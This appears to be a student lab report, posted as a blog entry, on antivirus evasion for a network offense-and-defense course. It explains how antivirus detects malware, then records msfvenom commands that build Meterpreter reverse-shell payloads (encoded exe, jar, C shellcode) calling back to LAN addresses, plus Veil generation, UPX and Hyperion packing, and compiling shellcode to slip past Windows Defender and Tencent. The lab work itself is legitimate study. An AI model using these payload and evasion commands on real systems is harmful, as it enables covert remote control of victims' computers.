《网络对抗》Exp3 免杀原理

1.基础问题回答


(1)杀软是如何检测出恶意代码的?

通过检测特征码(特定代码的某部分不变的数据),启发式检测恶意软件(通用性但代价大),检测恶意软件的行为(属于启发式不过突出了行为的检测)这三种方式检测出恶意代码的

(2)免杀是做什么?

针对检测技术,通过多种方式使恶意代码不能被杀软检测出来。

(3)免杀的基本方法有哪些?

改变特征码
改变行为
使用有漏洞的应用
使用社工类攻击,诱使目标关闭杀软
纯手工打造恶意软件并去除明显的特征码


2.实践总结与体会

通过视频以及实践,明白了可以怎样做免杀,以及利用一些网站检测程序是否有一些特征码。做了一遍,在veil中除了cs语言重写的meterpreter,其他都没有被杀软检测出来(我的是腾讯管家+Windows Defender),但是运行有问题,要不就是点运行没反应,要不如ruby没签名,就是免杀第一步做出来了,但运行不行。


3.开启杀软能绝对防止电脑中恶意代码吗?

不能,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。我认为软件都有错误,运行中也可能出错,所以即使可能有后门且后门已经加入特征库,在特殊情况下也可能检测不出来。


4.实践过程记录

4.1生成其他文件

  • 生成exe
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=433 -f exe > met.exe
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.0.113 LPORT=443 -f exe > met2.exe
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.0.113 LPORT=443 -f exe > met2_encoded10.exe
    





  • 生成jar
      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.66 LPORT=7000 -f jar > x86_me_rev_tcp.jar
    


  • 生成C语言shellcode
     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=7000 -f c
    



4.2使用veil,加壳工具

  • 使用cs生成



  • 使用C生成



  • 使用go生成


  • 使用ruby生成

  • 使用powershell生成



  • upx加壳
      upx met.exe -o met_upx.exe
    

  • hyperion加壳(先进入/usr/share/windows-resources/hyperion目录,但我觉得这应该是wine启动路径的问题,修改后可以不进这个目录)
      wine hyperion.exe -k 16  ~/Anti-Network/exp3/met.exe ~/Anti-Network/exp3/met_heperion.exe
    


重装几次后就一直如此,怀疑是没有卸载干净,但卸载了好几遍仍然有错

4.3使用使用C + shellcode编程

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=1312 -f c
   i686-w64-mingw32-gcc -o met_c.exe met.c




msf连接成功


4.4通过组合应用各种技术实现恶意代码免杀

思路:

用msfvenom生成shellcode,在windows下编译,编译成功后运行,在kali用msfconsole监听


msf连接成功


同样的代码相比于kali下交叉编译,被识别更少


当把生产的exe文件移出codeblock工程目录就被腾讯管家检测出来

posted @ 2021-04-05 16:56  20181324  阅读(93)  评论(0编辑  收藏  举报